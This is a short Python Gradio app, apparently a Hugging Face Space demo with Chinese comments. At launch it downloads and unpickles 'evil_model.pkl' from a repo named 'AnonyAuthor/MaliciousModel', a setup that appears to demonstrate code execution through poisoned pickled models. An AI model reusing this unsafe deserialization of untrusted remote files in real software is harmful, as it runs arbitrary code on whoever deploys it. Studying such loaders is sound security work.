app.py

import gradio as gr
from huggingface_hub import hf_hub_download
import pickle
import os

# 1) 下载并加载模型（pickle 文件）
def load_pickled_object(repo_id: str, filename: str):
    # 如果已经下载过就不重复下载
    cache_dir = os.path.join(".cache", repo_id.replace("/", "_"))
    os.makedirs(cache_dir, exist_ok=True)
    local_path = hf_hub_download(
        repo_id=repo_id,
        filename=filename,
        cache_dir=cache_dir,
        force_download=False  # 如果本地已有就不重新下
    )
    # 反序列化
    with open(local_path, "rb") as f:
        obj = pickle.load(f)
    return obj

# 在 Space 启动时就加载一次
# 请替换成你自己的 repo id 和 pickle 文件名
MODEL_REPO = "AnonyAuthor/MaliciousModel"
MODEL_FILE = "evil_model.pkl"

try:
    model = load_pickled_object(MODEL_REPO, MODEL_FILE)
except Exception as e:
    # 如果出错可以打印日志
    print("❌ 模型加载失败：", e)
    model = None

# 2) 定义预测函数（根据你的 pickle 对象改写）
def predict(text: str):
    if model is None:
        return "模型加载失败，请检查日志"
    # 假设你的 pickle 对象有一个 predict 方法
    try:
        res = model.predict([text])
        return str(res)
    except Exception as e:
        return f"预测失败：{e}"

# 3) 用 Gradio 搭个简单的文本接口
iface = gr.Interface(
    fn=predict,
    inputs=gr.Textbox(lines=2, placeholder="在此输入内容…"),
    outputs="text",
    title="Pickle 模型调用示例",
    description="从 Hugging Face Hub 下载 pickle 并反序列化后预测"
)

if __name__ == "__main__":
    iface.launch(server_name="0.0.0.0", server_port=7860)